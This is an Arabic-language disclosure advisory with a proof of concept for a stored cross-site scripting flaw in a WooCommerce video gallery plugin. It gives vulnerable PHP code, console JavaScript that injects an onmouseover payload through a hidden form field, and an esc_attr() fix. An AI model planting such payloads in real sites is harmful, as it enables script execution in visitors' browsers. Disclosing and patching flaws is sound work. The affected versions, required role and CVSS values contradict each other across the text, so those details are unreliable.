
معرض فيديو المنتج لـ WooCommerce <= 1.5.1.8 - Cross-Site Scripting مخزنة ومصدقة - إثبات المفهوم
| التفاصيل | القيمة |
|---|---|
| CVE ID | CVE-2026-10104 |
| البرنامج الإضافي | Product Video Gallery for WooCommerce |
| المورّد | TechnoSoft Webs (NikHiL Gadhiya) |
| النوع | البرمجة النصية عبر المواقع المخزنة (XSS) |
| CWE | CWE-79 — تحييد غير صحيح للمدخلات أثناء إنشاء صفحة الويب |
| CVSS 3.1 | 4.4 (متوسط) |
| الإصدارات المتأثرة | ≤ 1.5.1.6 |
| الإصدار الثابت | 1.5.1.9 |
| يتطلب المصادقة | نعم — المساهم+ (أي دور يمكنه تحرير المنتجات) |
| اكتشفه | Ravindu Lakmina Munaweera |
البرنامج الإضافي Product Video Gallery for WooCommerce لووردبريس (الإصدارات حتى 1.5.1.6) عرضة لـ البرمجة النصية عبر المواقع المخزنة (XSS) عبر معامل custom_thumbnail الخاص ببيانات المنتج.
طريقة save_wc_video_url_field() في البرنامج الإضافي تنظف معامل POST custom_thumbnail[] باستخدام sanitize_text_field()، الذي يزيل وسوم HTML ولكنه لا يزيل علامات الاقتباس المزدوجة ("). في الواجهة الأمامية، يتم إدراج القيمة المخزنة مباشرة في سمات وسم `` في nickx_get_video_thumbanil_html() دون استخدام esc_attr() للتهريب. يسمح ذلك لمهاجم موثق بحقن سمات معالج أحداث HTML تعسفية (مثل onmouseover, onerror) تنفذ JavaScript في متصفح أي زائر — بما في ذلك المستخدمين غير الموثقين — يشاهد صفحة المنتج المتأثرة.
CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:N
الملف: public/class-rendering.php
الطريقة: nickx_get_video_thumbanil_html()
// Line 365 — value inserted without esc_attr()
$custom_thumbnail = isset($custom_thumbnails[$key]) && !empty($product_video_thumb_id)
? 'custom_thumbnail="' . $custom_thumbnails[$key] . '"'
: '';
// Line 379 — rendered inside tag on the public frontend
echo '';
الملف: admin/class-video-field.php
الطريقة: save_wc_video_url_field()
// Line 309-310 — sanitize_text_field() strips tags but NOT double quotes
if ( isset( $_POST['custom_thumbnail'] ) ) {
update_post_meta( $post_id, '_custom_thumbnail',
array_map( 'sanitize_text_field', $_POST['custom_thumbnail'] ) );
}
سجل الدخول كـ مدير متجر (مهاجم).
انتقل إلى المنتجات → تحرير أي منتج مع رابط فيديو مضبوط في حقل "Product Video Url".
افتح أدوات المطور في المتصفح (F12) → علامة تبويب الكونسول.
الصق ونفذ JavaScript التالية:
const form = document.getElementById('post');
// Set thumbnail ID to a non-empty value (required by render condition)
const thumbInput = document.querySelector('input[name="product_video_thumb_url[]"]');
if (thumbInput) { thumbInput.value = '99999'; }
// Inject XSS payload via custom_thumbnail
const ct = document.createElement('input');
ct.type = 'hidden';
ct.name = 'custom_thumbnail[]';
ct.value = "yes\" onmouseover=\"alert('xss identified by Ravindu')";
form.appendChild(ct);
انقر على "Update" لحفظ المنتج.
افتح صفحة المنتج في الواجهة الأمامية في نافذة خاصة/متصفح التصفح الخاص (غير موثق).
حرك المؤشر فوق الصورة المصغرة للفيديو في معرض المنتج.
✅ يتم تنفيذ تنبيه JavaScript، مما يؤكد وجود XSS مخزنة.
يغلق " المحقون سمة custom_thumbnail، ويصبح onmouseover سمة قابلة للتنفيذ جديدة على عنصر ``.
طبق esc_attr() على قيمة الصورة المصغرة المخصصة قبل إدراجها في سمة HTML:
- $custom_thumbnail = isset($custom_thumbnails[$key]) && !empty($product_video_thumb_id)
- ? 'custom_thumbnail="' . $custom_thumbnails[$key] . '"'
- : '';
+ $custom_thumbnail = isset($custom_thumbnails[$key]) && !empty($product_video_thumb_id)
+ ? 'custom_thumbnail="' . esc_attr($custom_thumbnails[$key]) . '"'
+ : '';
يجب تطبيق نفس الإصلاح على جميع الحالات في nickx_get_video_thumbanil_html() حيث يتم إنشاء $custom_thumbnail (كل من مسارات الكود للمصفوفة وغير المصفوفة).
| التاريخ | الحدث |
|---|---|
| 2026-03-20 | اكتشاف الثغرة |
| 2026-03-20 | الإبلاغ إلى Wordfence (CNA) |
| 2026-05-29 | تخصيص CVE ID: CVE-2026-10104 |
| 2026-07-01 | الإفصاح العام |
هذا الإشعار صادر بموجب CC BY 4.0.
| المقياس | القيمة |
|---|
| ناقل الهجوم | الشبكة |
| تعقيد الهجوم | منخفض |
| الصلاحيات المطلوبة | منخفضة |
| تفاعل المستخدم | لا شيء |
| النطاق | متغير |
| تأثير السرية | منخفض |
| تأثير التكامل | منخفض |
| تأثير التوفر | لا شيء |